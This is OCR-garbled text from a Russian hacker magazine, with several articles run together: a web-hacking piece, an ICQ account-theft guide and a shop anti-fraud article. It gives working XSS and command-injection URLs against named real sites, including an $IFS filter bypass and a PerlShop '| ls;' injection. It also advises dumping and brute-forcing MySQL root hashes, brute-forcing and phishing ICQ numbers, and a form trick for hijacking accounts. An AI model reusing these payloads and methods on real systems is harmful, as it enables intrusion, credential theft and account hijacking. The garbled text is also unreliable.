взломИспользуем load_file для чтения файлов на сервереСоставленный xss-сплойт успешно пашетalert('xss')А сам сплойт примет вид:твой_яваскрипт_код_здесьПохожую ситуацию, но уже в другом ракурсеможно наблюдать на сайте www.plentyoffish.com.После прохождения в раздел регистрации(www.plentyoffish.com/register.aspx) и введенияв поле пароля символа одинарной кавычки тебяпопросят заполнить все поля. Однако, дописавпараметр password и придав его значениюсимвол кавычки, мы получим тот же результат.Составляем линк:http://www.plentyoffish.com/register.aspx?password=alert('xss')Нас просят пройти лесом. Хотя, если заглянутьв html-сорец, видно, что сначала необходимозакрыть кавычкой VALUE и указать «>»:Составленный с учетом всех требований,запрос успешно сработает:http://www.plentyoffish.com/register.aspx?password=">alert('xss')/ 080xàêåðА сам эксплойт получится таким:">яваскрипт_здесьЯ привел лишь пару случаев. На самом деле,тема xss гораздо глубже, геморроя хватает.Прочий «головняк»Помимо всего прочего, часто встречаютсяи отдельные варианты «головняка». В частности,в перл-скриптах может присутствоватьфильтрация пробела. Например, ресурсwww.cumcla.org содержит бажный скрипт showfile.cgi.Передав параметру filename значение id, мыувидим, что команда успешно выполнилась:http://www.cumcla.org/cgi-bin/showfile.cgi?directory=cgibin&filename=|id|Но выполнение любой из составных команд(ps -ax, ls -la, uname -a, и т.д.) окажется неудачным,так как пробел фильтруется. В перлеподобное ограничение можно обойти припомощи $IFS, то есть тебе достаточно поменятьв запросе все имеющиеся пробелы на $IFS.В таком случае просмотреть версию операционкина сервере не составит труда:http://www.cumcla.org/cgi-bin/showfile.cgi?directory=cgibin&filename=|uname$IFS-a|Еще один неприятный момент — авторизацияв админке через .htpasswd. Дело в том,что даже если ты каким-то образом прочиталсодержимое .htpasswd, то пасс там в 99%случаев будет лежать в зашифрованном виде.Причем в разных случаях алгоритм шифрованияможет быть разным. Это связано с тем, чтоутила htpasswd, идущая в комплекте с Апачем,поддерживает несколько алгоритмов шифрования,а именно — DES (ключ ‘-d’), MD5 (ключ‘-m’) и SHA (ключ ‘-s’). При наличии на рукахпримеров хэшей этих алгоритмов, не составитособого труда определить, с каким ключомработает утила htpasswd в конкретно взятомслучае.Также стоит упомянуть об asp-движках. Здесьследует опровергнуть мнение о том, что aspскриптымогут работать только под виндой, каксчитают многие. Хотя aspx встречается исключительнопод win, asp-движок не плохо себя чувствуети под никсами. Взлому asp-движков будетпосвящена моя статья в одном из следующихвыпусков журнала, поэтому подробно заострятьвнимание на этом сейчас я не буду. Скажу лишь,что расширению не всегда можно верить — онозапросто может оказаться фейковым. Кстати,нельзя чрезмерно доверять и баннерам, принадлежащимкрутящимся на сервере службам.Грамотный админ не обломается изменить стандартноеприветствие ftp/smtp-сервера. Не зряговорят: доверяй, но проверяй. Всегда следуйэтому правилу.В заключение обращу твое внимание наполучение доступа к базе. Как ты понимаешь,зачастую, даже имея на руках раскрученныйинъект, хочется получить полноценного юзера(читай — рута =)) в ломаемой БД. Изначальномногое зависит от пользователя, с правамикоторого работает с базой уязвимый скрипт.Если есть доступ, например, к базе MySQL,то не поленись проверить возможностьудаленных подключений к БД (таблица user,поле host). Если такая возможность присутствует— считай, что тебе повезло. Сливай хэшрутового пароля к базе (таблица user, поляuser и password). Как правило, пасс бываетв виде MySQL-хэша (16 символов), но иногдавстречается и алгоритм SHA-1. Первыйбрутится без проблем (смотри утилу в разделе«X-Tools»), а вот с SHA могут возникнутьтрудности. Если удаленные подключениязапрещены, то я все же советую тебе сбрутитьпассы юзеров БД, так как нередки случаи,когда они подходят к ftp. Ну а при отсутствиидоступа к базе MySQL, но при наличии правfile_priv, читай конфиги и сорцы, которые могутсодержать в себе заветные пароли. КонфигАпача поможет тебе определить расположениедиректорий виртуальных хостов :).Последнее словоРассмотреть все случаи в рамках одной статьинереально. Я обозначил лишь те, которыенаиболее часто встречаются в повседневнойхакерской жизни. Надеюсь, ты понял, что взлом— это не просто применение чужих сплойтов,но и реализация своих собственных идей.Всегда борись до последнего и помни — профессионалыникогда не сдаются. z02 /98/ 07


взломGoga, 4ever/ www.newuin.ru /Вся правдаоб ICQПоследние секреты тети АсиС выхода последних факов и мануаловпо ICQ-хакингу прошло довольно многовремени. Что-то осталось, что-то стало неактуальными кануло в прошлое. Все давноумеют пользоваться ipdBrute, знают, откудадостать базы PM (primary mail) и как ихчекать. Поэтому в статье я расскажу о действительноновых тонкостях ICQ-мира.Свеженькие пятизнакиХочу развеять стереотипное представлениео том, что абсолютно все пятизнаки регистрировалисьв бородатом году и пятерок с простымипаролями уже не осталось. В этом, конечно,есть доля правды, но открою тебе один секрет.Как всем известно, пятизнаков отнюдь не10000-99999, а гораздо меньше — немногимболее двух тысяч. Так вот составленная припомощи программы errwolker собственная база«живых» пятизнаков существенно отличается отстарой, что выкладывалась на асечке. В новомсписке откуда-то появились левые номера,большая часть из которых элитная, наподобиеХХуХХ.Решив проверить свежак на простейшие пароли,после недолговременного брута я получилвесьма неплохой результат: наикрасивейшиепятизнаки «летели» на пароли типа «internet»и даже «12345». Как оказалось, это были номерановых работников ICQ и их друзей. Несмотря науспешный улов, погоду немного портило то, чтопроцент возвращений уина хозяевам был велик,но что-то все же оставалось. Учитывая легкостьих добычи, это, в общем-то, устраивало.Расскажу о веселом случае, произошедшемс моим другом. Он снял номер bcdea на пароль«opress», естественно, поменял его и отложил,но брут продолжал работать, и в листах еще былэтот уин. Каково же было его удивление, когдауин снова выпал в бруте, но с уже более простымпаролем «susi». Как оказалось, хозяином уинабыла подруга админа, которая после угона ееномерка поставила пароль еще проще. Так чтоследи за появившимися пятерками и дерзай ;)./ 082Админы vs асечникиНе секрет, что люди из Мирабилис посещаютпорталы, посвященные ICQ-хаку. Они прекраснопонимают, что происходит на подобных сайтах,знают адреса наших магазинов и никаких действийне предпринимают. Ведь мы фактическипродвигаем их продукт, от асечников они узнаюто различных багах, связанных с асей. Но в каждомстаде есть паршивая овца…Одним прекрасным утром я включаю компьютери первым делом захожу в аську. Не проходити пяти минут, как на экране выскакивает табличка«Ваш номер используется на другом компьютере».Я сразу понимаю, что аська не угнана.Проверяю статус своего номерка программойICQinfo и вижу страшное — уин удален из базы.Чекаю уин напарника по магазину — аналогичнаяситуация. Я в шоке и некоторое времяне могу дать объяснение случившемуся. Идуна форум асечки с надеждой найти там ответы.Вижу тему про анреги, в ней отписались ребята,у которых тоже в этот день убили уины. Топик нафоруме в считанные часы разрастается до множествастраниц — люди предлагают различныеверсии причин случившегося, но я колеблюсьмежду двумя: админы ICQ или турки. Админыстоят под большим вопросом, так как удалилитолько контактные номера с шопов, а не ихсодержимое. Могли и турки, так как любят ковырятьсяи находить баги, к тому же они не особожалуют русских. На форуме паника, постояльцыскрывают свои уины масками, многие магазинына время прекращают свою деятельность.После долгих расследований причина быланайдена. Сверив логи посещения наших шопов,мы нашли одинаковый IP. Рефер был из Яндексапо запросу «продажа ICQ-номеров». Whois-сервисвыдал, что IP принадлежит America OnlineICQ. Все стало на свои места, владельцы шоповоперативно забанили сетку AOL’а на своихсайтах и зажили счастливо. Только этот оленьвсе не мог успокоиться: в логах было видно,как он много раз пытается проникнуть на сайт.Видать, что такое прокси, ему никто не говорил.Как потом удалось выяснить, этим админом былLior Grafi и у него почему-то ненависть к русским.Может, он обиделся, что его старый пятактыранули и он лежит у нас ;), но странно, почемуон его тогда не возвращает.ICQ fishingНаверняка, многие пользователи, имеющиекрасивый номерок, подвергались разводкамразличных «кис», «похотливых попок» и т.д.Например, сидишь ты, попиваешь пивко, и вдругс неизвестного уина приходит мессага от некойобожательницы, мол, ты обязан зайти по даннойссылке посмотреть на ее сиськи или что-нибудьскачать. В этот момент от нехватки женскогообщества твой подпитый мозг принимаетрешение все же взглянуть на фото. Проснувшисьутром с головной болью, ты пытаешься зайтив асю, но тут выскакивает непонятная табличка«Неверный пароль», а все твои пассы улетелик «неизвестной даме». В то время как ты ломаешьголову над восстановлением паролей и избавлениемот коняги, какой-то паренек от твоего имениразводит твой же контакт-лист, занимает деньгиили впаривает троя.Также часто спам в аську имеет похожий характер.xàêåð 02 /98/ 07


взломЛогинимся в сервис аттача мылаНе буду вдаваться в подробности, но хочу предупредитьхозяев длинных номеров: не стоитдумать, что раз номер кривой, то надо ставитьпароль «123» и он никому не нужен. Для спама,флуда и т.д. требуется много уинов, а горячолюбимые мирабы постоянно прижимаютICQ-спамеров и строят разные козни, делая нереальнымавторег кучи уинов. Поэтому сбрутитьнеобходимое количество уинов актуальнее.Для прекращения страданий от назойливогоспама из эбаута номера необходимо удалить всеинфо, кроме ника. Дело в том, что спамерскийсофт работает целенаправленно, то есть еслив графу «Язык» вписан, например, албанский,а заказчику спама нужен только албанскийконтингент, то твой уин автоматом попадаетпод его спам. Кроме того, можно убрать галкус «Показывать мой статус для веб и поиска»(веб-индикация), чтоб цветок был белым.альтернативным клиентом типа миранды или &RQ.Номеров-невидимок становилось все больше,и к концу 2004 года около 30% пяти-, шести-,семи- и восьмизначных номеров были невидимками.Инвизы считаются самыми надежныминомерами, так как невидимость — это гаранттого, что у номера нет примака.Первые интересные изменения в ретривепоявились в начале января 2005 года, когдау всех номеров-невидимок отвалился праймари-мейл.Наиболее популярным было мнение,что это попросту глюк в базе и праймариу невидимок отвалился из-за некомпетентностиработников ICQ. Я слабо в это верю и считаю,Сохраненная страничкачто это вполне обдуманные действия мирабовс целью обрезать крылышки любителям угонятьномера через праймари-мейл ;).Следующие изменения произошли 28 марта2005 года: при ретриве пароля на номер в обязательномпорядке стало нужно устанавливатьсекретные вопросы, после чего праймари-мейл,с которого их ставили, просто отваливался.С этого дня сервис по восстановлению пароляс натяжкой можно было назвать стабильным.Творились чудеса: праймари у номеров то самипо себе отваливались, то вновь волшебнымобразом «воскресали», и на них снова можнобыло отослать пароль. Бывало, страницаPM-базы — эффективный способ угона?Рассмотрим разные новшества, введенныемирабами при ретриве. В последнее время работникиICQ так часто что-то меняли в системевосстановления пасса, что сами запуталисьи наделали косяков.Итак, сама система ретрива образоваласьв далеком 1999 году, на страничке ICQ.com/password появилась возможность высылатьпароль на вписанный в деталях номера e-mail.Система работала стабильно, и особых трудностейс отправкой пароля не было. Примернов середине 2004 года возникло понятие «номер-невидимка»— номер, который не виденв поиске (ака вайтпагах). При долгой отлежкеу номера пропадал контакт-лист и все инфо.Четко определенного промежутка времени, закоторый неюзаемый номер становился невидимым,не было: иногда номер исчезал из поисказа год, в некоторых случаях и за два номер нестановился невидимым. Чтобы номер вернулсяк жизни, нужно было вписать детали в инфономера или же залогиниться в негоxàêåð 02 /98/ 07/083


взлом!Ломая номерамирабов, из охотникалегко превратитьсяв жертву. Не редкислучаи, когда админыпо IP убивают комутопачку номеров.Настоятельно рекомендуювзламыватьтолько незанятыеуины. Особенно недостойныуваженияте, кто тырит уиныу своих — русских.iСейчас самымикороткими уинамисчитаются пятизнаки,но раньшесуществовали трехичетырехзначныеуины. Они считалисьтестовыми номерами.В настоящеевремя существуютодно- и двузначныеуины, но их нельзязаюзать стандартнымклиентом, это толькоweb-сервисныеномера.http://http://asechka.ru— мощнейший проект,посвященныйICQ-хакингу.http://Newuin.ru— отличный магазинICQ-номеров, доступныецены.DVDНа диске ищи программы,упомянутыев статье, плюс вспомогательныйсофт.Привязанный номерwww.ICQ.com/password подолгу не открывалась или зависалана какой-то стадии ретрива.Более-менее система стабилизировалась в феврале2006‐го. Произошло и еще одно изменение: теперь праймари-мейлне отваливался после установки вопросов приусловии, если это первый вписанный мейл. И наконец,в июне 2006‐го, на радость всех брутеров, отвалилисьпримаки почти у всех, за редким исключением, номеров,вписанных до начала 2006 года. Таким образом, утверждение,что чем старее база, тем она лучше и правдивее,стало неактуальным. Своими действиями работники ICQдобились желаемого: форма ретрива используется попрямому назначению, на мыльные сервисы пересталилететь тонны пакетов от чекеров. Но недавний баг немногооживил ситуацию.При серче уина вписанное в детали мыло показывалосьнезависимо от того, стояла галочка «Не показывать адресемейла» или нет. В момент были собраны новые базы,и новые примаки, которые все скрывали, были в этой базе.Конечно, выжать из этих баз удалось не особо много, но всеже что-то удалось. Безусловно, больше повезло первым изтех, кто прочекал новую базу, в которой накопилось достаточнозаброшенных адресов мыла.IPD SE — брут нового поколенияИтак, дорогой дружок, ты, наверняка, слышал и, возможно,даже видел и пользовался такой чудесной программойдля перебора паролей к уинам (или, говоря человеческимязыком, брутом ;)), как Ipdbrute2/udc Lite, или ее модификацией,умеющей автоматически менять пароли на сбрученныхномерах, — Ipdbrute2/udc Pro. Но открою тебе небольшойсекрет: есть еще и специальная приватная версия, котораяименуется Ipdbrute2/udc Pro SE. VKE (автор IPD) не стал еевыкладывать в паблик, а распространил среди своих друзейи хороших знакомых с наставлением не раздавать ее всемподряд и использовать только для своего блага. Как мы ужевыяснили, в каждом стаде есть паршивая овца, и брут нетак давно все же просочился в паблик. Тщательный осмотрпациента в нашей IСQ-лаборатории позволил представитьтебе отчет, приведенный ниже ;). Итак, смотрим, чем же такхорош этот Ipdbrute2/udc SE и почему 2 года его не рисковаливыложить на всеобщее обозрение.При первом запуске заметно мало отличий от Ipdbrute2/udcPro, разве что изменилась надпись в шапке с «Ipdbrute2/udcPro (с) 20002-2003 VKE» на «Ipdbrute2/udc SE (с) 1980-2004»и в «About» появились приветы от автора небезызвестнымна ICQ-сцене личностям. Интерфейс программы непретерпел каких-либо изменений. Теперь посмотрим на самуНас поимели :(работу брута. Во втором издании брут работает через разныесерверы ICQ, которые можно редактировать самому в файлеmacroses.xml. Благодаря этой возможности новый брутвыигрывает у своей предыдущей версии, которая логинитсятолько к стандартному серверу на 5190 порту.Итак, мы взяли 130 скоростных проксей и попробовалиугнать какую-нибудь шестизначку на пароль «vegas». Значениеthreads (потоки) мы выставили в 500, cleanup (отсеиваниемертвых проксей) был каждые 30 минут. Количествопотоков выставляется методом проб индивидуально подкаждый конфиг компа и канал инета.Теперь посмотрим на сравнительную таблицу работ брутов:Как мы видим, Ipdbrute2/udc Pro значительно проигрываетв скорости Ipdbrute2/udc Pro Se, так что выкидывай свойстарый брут и переходи на более продвинутую версию SE.Что касается результата, то в ходе эксперимента было выловлено26 шестизначек :).Вся правда об админах ICQКаждый из нас когда-то думал:1. На каких же номерах сидят работники ICQ?2. Могут ли простые смертные сидеть на таких номерах?3. Реально ли поиметь админа ICQ?Нам удалось подобраться очень близко к ответам на все этивопросы.Отвечаем:1. На www.newuin.ru/in/cl.txt лежит контакт одногоиз админов; знакомые говорят, что этот списоксамый полный. В группах Co-Workers, Ex-ICQ, General,Support сидят боги ICQ. Отметим несколько групп в егоконтакте.Family;342764160;YaelAlon;0Family;44448;ziv;0Family;59995;yael sis;0Пятизнаки xy — жене и ребенку, теще — кривой девятизнак ;).ICQ uins i give;55515;stanislav - dev;0ICQ uins i give;87778;Leon - web;0/ 084xàêåð 02 /98/ 07


взломIPD SEЗа отдельную плату я дам номер админа =).Как это ж надо было просить, чтоб он далпятизнак xy.my fans;39666;Fallen Angel;0my fans;661186;o2 Goodiez;0Админы столь популярны, что у них есть фанаты!И больше всего порадовала группа эта группа:hackers;102030404;NukedX's Bot;0hackers;799499;NukedX's Bot;0Иногда работникам влом лезть в БД ICQ, и ониповеряют примаки номеров по боту S3TUP'а.2. Могут, но чаще всего хорошенькие номера недолго задерживаются в чужих руках.3. Реально, и случается это довольно часто.Но бывает и наоборот.По этому списку можно сверять свои пятерки:админские они или нет. И, например, если пятизнакподходит под группу Ex-ICQ, то есть человекуже не работает на Мирабилис, то много шансов,что этот номерок осядет у тебя надолго. Но крайнене советую стучать в эти номерки и чего-либопросить — минимум отделаешься игнором ;).Привязываем 10001 =)Как привязать пятизнак к мылу?До недавнего времени считалось, что у пятизнаковне может быть праймари-мейла и восстановитьпароль от пятизнака невозможно. Однакотеперь это стало возможно при помощи локализованныхверсий аськи, таких как, например,Rambler-ICQ (версий много, но используемрусскую — роднее =)).Итак, расскажу все по порядку. Для начала идемна официальную страничку http://icq.rambler.ru,где лицезреем скрин с красивым номером 10-110 (думаю, вряд ли он у них есть ;)), а справа отнего видим предложение скачать Rambler-ICQ,что мы и делаем. Скачав и установив программу,смело запускаем и видим предложениеввести номер ICQ и пароль, логинимся со своимпятизнаком, который желаем привязать к мылу.Открывается окошко регистрации, в котором нампредлагают либо ввести свой логин на Рамблере,если такой имеется, либо зарегистрироватьновый. В целях безопасности я все же рекомендуюзарегистрировать новый ящик, который никомуне будет известен, так как именно он будетпривязан к нашему пятизнаку. На следующемэтапе нам предлагают ввести пароль и секретныйвопрос с ответом на него, пароль на нашемпятизнаке изменится на пасс от мыла.Так что вводим либо свой действующий пароль,либо что-то более изощренное, чем «qwerty» ;).После этого, наконец, логинимся в номер,бережно записав перед этим адрес привязанногомыла в блокнотик. Все, на этом процедурапривязки завершена. Чтобы восстановитьпароль от своего пятизнака, идем на страничкуhttp://id.rambler.ru/script/reminder.cgi, вводимлогин своей почты на Рамблере, которуюпривязали к пятизнаку, после чего отвечаем насвой секретный вопрос и устанавливаем новыйпароль. Пароль на нашем пятизнаке, соответственно,тоже меняется.Эта система применяется не только к пятизнакам.Также, вследствие этой фичи, появилосьмного риперов, которые, продавая пятизнаки закопейки, с помощью этого метода возвращалиих обратно. Поэтому хочу рассказать, как узнать,привязан ли номер ICQ. Для этого достаточноглянуть инфу номера в клиенте QIP (www.qip.ru)на вкладке «Дополнительно» окошка «Информация».Там мы можем увидеть такую же запись,как на скриншоте «Привязанный номер».Это значит, что номер привязан. Логично ;).Если номер присобачен, например, к nana.co.il,xàêåð 02 /98/ 07/085


взломСравнительная таблицато отвязать первичный e-mail можно, перепривязавего к другому мылу того же nana.co.il.И соответственно, Рамблер режется Рамблером.Html-инъекция на страницах icq.comКак и многие программы мгновенных сообщений,интернет-клиент ICQ не лишен своих различныхнедочетов и уязвимостей. Сейчас я поведаютебе о свеженьком баге в WHITEPAGESICQ, благодаря которому ты сможешь получитьпрактически любой понравившийся UIN.Итак, толчком для исследований стала нашумевшаяновость автора популярного альтернативногоинтернет-пейджера QIP (qip.ru).Inf сообщил о том, что его UIN каким-то образомпривязали к локализованному e-mail без еговедома. В связи с этим Inf'ом досрочно былавыпущена новая альфа-версия ICQ-клиентаQIP, с помощью которой стало возможно узнать,к какому конкретно локализованному e-mailадресупривязан или не привязан твой элитныйномерок. Эта новость заинтересовала гуру ICQхакингас ником ТурисТ — Алексея Шакирова,и он вспомнил о том, что зимой этого года, копаясьв HTML-кодах web-ресурсов icq.com, он нашелинтересные строки: «».В этой строке меняем наш UIN на UIN, которыйхотим заполучить, и сохраняем весь этотHTML-фарш. Также нам придется найти и поменитьстроки «email_attach_step2.php» на«https://www.icq.com/register/email_attach_step2.php». Делается это для снятия локальностинашего нового HTML-кода. Сделано?Теперь браузер будет видеть страницу не каклокальную =).«И в чем тут замес?» — спросишь ты. Так воттеперь необходимо сделать самое главное.Открываем страничку с новым кодом. В поле«Пароль» вписываем пароль от старого UIN,с которым мы совершили удачный логин. Вписываемв поле «E-mail» наш или свежезарегистрированныйe-mail-адрес. Жамкаем пимпу«SUBMIT».Теперь все просто и понятно — на наш почтовыйадрес падает письмо с конфирм-кодом от ICQteam, в котором будет написано, что-то вродеэтого: «Привет! Твой номерок 54321. Желаешьподтвердить регистрацию e-mail attachmend?Тогда нажми на URL из нашего письма».А вот что произойдет после того, как ты нажмешьURL из письма, увидеть сможешь только ты.Здесь описана только одна сторона нового бага,и во избежание повального угона номеров (привет,баг на BIGFOOT.COM) я не стану говоритьо том, как полностью взять контроль над конкретнымномером и какие номера были захваченыв результате проведения экспериментов.На сегодняшний день найденная уязвимостьуже отнесена к разряду критических, так какс ее помощью можно изрядно наломать дров.Поэтому было принято решение немедленноосведомить работников компании Mirabilis,которые, в свою очередь, «оперативно» фиксятHTML-код своих web-ресурсов. Но, как всегда,не до конца… =) zНомерок админа/ 086xàêåð 02 /98/ 07


взломЛеонид «R0id» Стройков/ r0id@mail.ru /Жесткий антифродЗащити свой интернет-шопВ своих предыдущих статьях я уже несколько раз упоминал о темной стороне сетевогобизнеса. Увы, но таковы реалии наших дней. Кто‐то, обороняясь, создает новые средствазащиты, а кто‐то стремится их преодолеть. Сетевая гонка вооружений — обыденноеявление для хакеров и специалистов по информационной безопасности. Но вотдилемма: какую сторону выбрать? Остаться за баррикадами обороняющихся илипринять позицию атакующих? На этот вопрос, пожалуй, никто не даст однозначногоответа. Важно понять одно — ломать не строя невозможно. Поэтому в этой статье мыпримем противоположную привычной нам сторону — строну защиты. Я расскажу, каклучше защитить собственный интернет-магазин и уберечь от атакующей стороны своихклиентов.Угроза взломаДопустим, ты решил открыть свой собственныйинтернет-шоп, принимающий оплату по кредитнымкартам. Почему именно по кредиткам?Да потому что кредитка сейчас есть у каждоговторого человека, следовательно, количествотвоих потенциальных клиентов будет гораздовыше, нежели при оплате товаров в шопе припомощи WebMoney. Пусть, к примеру, в твоеминтернет-магазе будут продаваться ноуты, камеры,мобильники и прочие дорогие техническиедевайсы, а доставка осуществляется как в страныСНГ, так и в Западную Европу и США. То есть,как ты понимаешь, создаваемый магазин сулитдостаточно крупный ежемесячный денежныйоборот, требующий постоянного контроля.Но речь сейчас не о продажах, а о защите этихпродаж.Раз уж твой шоп принимает к оплате кредитныекарты, то первое, на что следует обратитьвнимание, — это хранение данных о кредиткахтвоих клиентов. Представляешь, как упадетрепутация твоего магазина, если с кредитных/ 088xàêåðкарт клиентов начнут пропадать денежныесредства в весьма приличных объемах? Такойситуации нельзя допустить ни в коем случае.Поэтому хранить данные о кредитках клиентовв базе в незашифрованном виде категорическине рекомендуется! Есть несколько вариантоврешения проблемы:1. шифровать данные и сохранять в базе насервере;2. удалять информацию о выполненных заказахс сервера, на котором стоит шоп;3. использовать отдельный сервер под БД,хранящий бэкапы заказов и физически не связанныйс сервером интернет-магазина.Первый способ менее геморройный, нежелиостальные, но он имеет несколько недостатков.Во-первых, нужен криптоустойчивый алгоритм.Обычно интернет-шопы используют просто MySQLшифрование,хэши которого сбрутить не составляетособого труда. Иногда встречаются болеемудреные алгоритмы (я сталкивался с уникальными,разработанными специально под конкретный шоп),хранящие свои ключи опять же в MySQL-базе, чтоможет иметь негативные последствия. В порядкеальтернативы, можно не использовать базу дляхранения информации о заказах.Достаточно вспомнить известную торговуютележку PerlShop. В этом движке вся информацияо заказах хранится в каталогах customersи orders (плюс два вспомогательных каталога:temp_customers и temp_orders). Кстати, именнов этой торговой тележке был найден баг, позволяющийвыполнять произвольные командына сервере. Нетрудно догадаться, что файлы,содержащие данные о заказах и доступныена чтение, быстренько отправлялись в видебэкапа на винчестер «доброжелателям». Еслитебе интересно, как это все осуществлялось, томожешь пройтись по линку одного из бажныхонлайн-шопов на движке PerlShop (шоп давнозаброшен, так что никакого вреда кардхолдерамты даже при желании не нанесешь ):http://shadow.cyberpooch.com / cgibin/ perlshop.cgi?ACTION=thispage&thispage=| ls;&ORDER_ID=53060928902 / 98 / 07


взломПопулярный checkoutУязвимость скрывается в параметре thispage скриптаperlshop.cgi и позволяет атакующему выполнять произвольныекоманды на сервере (| твоя_команда;). Не буду подробноописывать баг — не об этом сейчас речь, но при желании тывсегда можешь найти нужную инфу в багтраке.Так вот, возвращаясь к сути вопроса, если не хранить данныев базе, то их необходимо защитить каким‐то иным образом.Многие админы шопов на печально известном PerlShop'ев конце концов додумались и стали удалять информациюоб уже выполненных заказах, то есть на сервере при этомуже нельзя было поживиться данными о двух-трех сотняхкардхолдеров (владельцев кредитных карт). Многие крупныескрипт перезапишет измененные файлы на оригинальные.Однажды, ломая один из онлайн-магазинов, я столкнулся сзабавной ситуацией. На сервере стояла FreeBSD (версиюядра не помню, но это и не столь важно), права у меня былиnobody, но имелась в наличии дира на 777 и fetch :). Обрадовавшись,я собирался залить веб-шелл, но не тут‐то было— все заливаемые мной файлы тут же удалялись, причем средактированием файлов дело обстояло так же (довольноредкий случай защиты — примечание редактора). Сначаламне, естественно, показалось, что я тронулся рассудком, но,найдя в этой же дире текстовый файл, содержимое которогоне заменялось, я понял истинную причину происходящего.DVDНа диске ты мог бынайти исходникиантифрод‐системы,но… не найдешь :).Цена таких систем— десятки тысячамериканскихпрезидентов.«Как ты понимаешь, возможность иметьотдельный бэкапный сервер есть не у всех, поэтомуиногда информация о заказах отправляетсяпрямиком на мыло админа / саппорта магазина»интернет-магазины сейчас работают подобным образом:заказ обрабатывается в течение пары часов и данные о немлибо удаляются, либо отправляются на бэкапный сервер. Воттут — стоп. Как ты понимаешь, возможность иметь отдельныйбэкапный сервер есть не у всех, поэтому иногда информацияо заказах отправляется прямиком на мыло админа / саппортамагазина (находящееся на совершенно другом сервере).Что и говорить, задумка хорошая: клиент оформляет покупку,данные о заказе отсылаются на мыло саппорту шопа, а насервере в базе ведется лишь статистика заказов. Однакосо временем хакеров стал не устраивать такой расклад, иони начали патчить движки магазинов. Например, в том жеPerlShop'е зачастую добавляется еще одно мыло, принадлежащееотнюдь не владельцу шопа :).Избежать этого можно достаточно просто. Необходимонаписать и запустить на сервере скрипт, проверяющий датуизменения скриптов, имеющих отношение к движку интернет-магазина.В случае обнаружения несоответствия, нашxàêåð 02 / 98 / 07/Шоп тот, к слову, я все же поимел, но об этом в другой раз.Эта история свидетельствует лишь об одном — о необходимостиконтроля над изменяемыми файлами, находящимисяна сервере. Написать скрипт на Perl или на PHP не составитособого труда. В Perl есть удобная функция stat (), имеющаянесколько переменных, в том числе и $mtime, отвечающуюза время последнего изменения файла. Возможностей реализациипредостаточно, стоит лишь немного пофантазировать:). Еще один важный момент — это логирование. Здесьследует четко определиться с тем, что логировать нужно, ачто нет. Следующий перечень включает в себя несколькопунктов логирования:1. попытки редактирования файлов на сервере;2. добавление / удаление файлов на сервере;3. внешние изменения параметров, передающихся скриптамиинтернет-магазина.Разумеется, это лишь маленькая часть того, что необходимологировать. Первые два пункта можно напрямую связать соiЛегальный сетевойбизнес уже давнонашел свое место вСети, проблема лишьв том, что и мошенникине обошли еестороной.!Внимание! Информацияприведенаисключительно вознакомительныхцелях! Ни автор, ниредакция за твоидействия ответственностине несут!089


взломБД клиентов взломанного онлайн-магазинаскриптом, контролирующим изменения файлов.А третий пункт, в принципе, можно не братьв оборот, так как он имеет непосредственноеотношение к движку самого интернет-магазинаи заслуживает отдельного внимания.В последующей части статьи я еще упомяну обантифрод‐системах и методах их реализации.Сейчас нужно запомнить одну важную деталь:кто предупрежден — тот вооружен.Кроме того, я бы советовал сделать пару «уловок»для атакующих. Это может быть инсценировкауязвимости скрипта (особенно прикольновыглядит инсценировка sql-инъекции =)),наличие левого конфига, содержащего в себетакой же левый аккаунт к базе и много чего еще :).Мне не часто встречались такие «уловки», но,поверь, иногда они могут помочь тебе больше,чем многое из описанного выше. Главное, чтобывсе выглядело максимально правдоподобно.Здесь, как и в предыдущем случае, от тебятребуется только смекалка, фантазия и сообразительность.— возврат товара в онлайн-магазин или нааукцион, которые продают нематериальныйпродукт (информацию, музыку и т. д.). Как правило,в таком случае после совершения покупки«клиент» требует вернуть его средства, аргументируясвои действия ненадлежащим качествомпродукта. Надо заметить, что на многих руаукционахтакая тема прокатывала достаточнодолго, развязывая руки мошенникам.Еще одна «замечательная» схема былаза выставляемые лоты (многие в последствиитак и сделали). А в интернет-шопе стоит указывать,что товар возврату не подлежит, кромеслучаев, предусмотренных Законом РФ «Озащите прав потребителей», если официальномагазин зарегистрирован в России. Неплохобыло бы иметь и юриста, специализирующегосяна данных вопросах, но это уже отдельныйразговор.Едем дальше. Следующая угроза — покупкатовара в твоем интернет-магазине по ворованнымкредитным картам. Эта опасность являетсяодной из наиболее серьезных, и ей следуетуделить особое внимание. Дело в том, что такие«Платежка вынуждена былаудовлетворять требования «незадачливогоклиента», так как имеладоговоренность с аукционом»Угроза мошенничестваЕсли ты думаешь, что угроза взлома являетсяосновной опасностью для твоего бизнеса, тоглубоко ошибаешься. Как известно, в Россиивсегда было множество аферистов всех мастей,и если ты полагаешь, что поле их деятельности— городской рынок, то ты явно отстал отжизни. Сеть давно объединяет фродеров (отанглийского слова «fraud» — «мошенничество»,«frauder» — «мошенник») различныхнаправлений. Учитывая принцип работы твоегоинтернет-магазина (отсылка товаров в страныСНГ, оплата по кредитным картам), можновыделить несколько категорий нежелательных«клиентов». Приводить список я не буду, так какполный перечь составить попросту невозможно.Поэтому перейдем к рассмотрению обманныхсхем и методов защиты от них.Первое, с чем сталкивается, пожалуй, каждыйкрупный финансовый проект, — это клиентымошенники.На моей памяти было несколькоуспешных фрод‐схем. Самый простой примерпридумана специально для одной из крупныхроссийских платежных систем, сотрудничающейс одним из аукционов (название платежкиуказывать не в моей компетенции, да и, честноговоря, я не помню). Суть ее заключалась втом, что человек заводил себе два аккаунта вплатежке, затем создавал на аукционе лот определеннойстоимости и сам у себя его покупал.После этого он писал жалобу администрацииплатежной системы о том, что товар, купленныйим на аукционе, выслан ему не был, и просилвернуть его деньги. Платежка вынуждена былаудовлетворять требования «незадачливогоклиента», так как имела договоренность с аукционом.В результате мошенник получал сумму,равную стоимости его лота. Кстати, одного изтаких предприимчивых людей примерно годназад приняли сотрудники соответствующихструктур и отправили в места не столь отдаленные,так что делай выводы. Но, на самом деле,такие ситуации можно предупреждать.Аукционам необходимо снять ответственностьпокупки создают тебе проблемы как с банками/ платежными системами, так и с клиентами,что негативно сказывается на репутации твоегошопа (а значит, и на прибыли / количестве продаж).Если твой магазин принимает карточкивсех ведущих международных платежныхсистем (Visa/ MasterCard / Discovery / AmericanExpress), то, скорее всего, «вбивать» в твоеммагазе будут кредитки, стыренные с соседнегоамерского шопа.Конечно, существуют различные антифрод‐системы,сравнивающие введенные данные: местожительства и географическое положение IP,локальное время, язык браузера и т. д., но всеони несовершенны. Сам процесс выглядитследующим образом: берется кредитка (точнее,информация, содержащая номер карточки,cvv-код, срок окончания действия карты, ФИОкардхолдера, его место жительства и 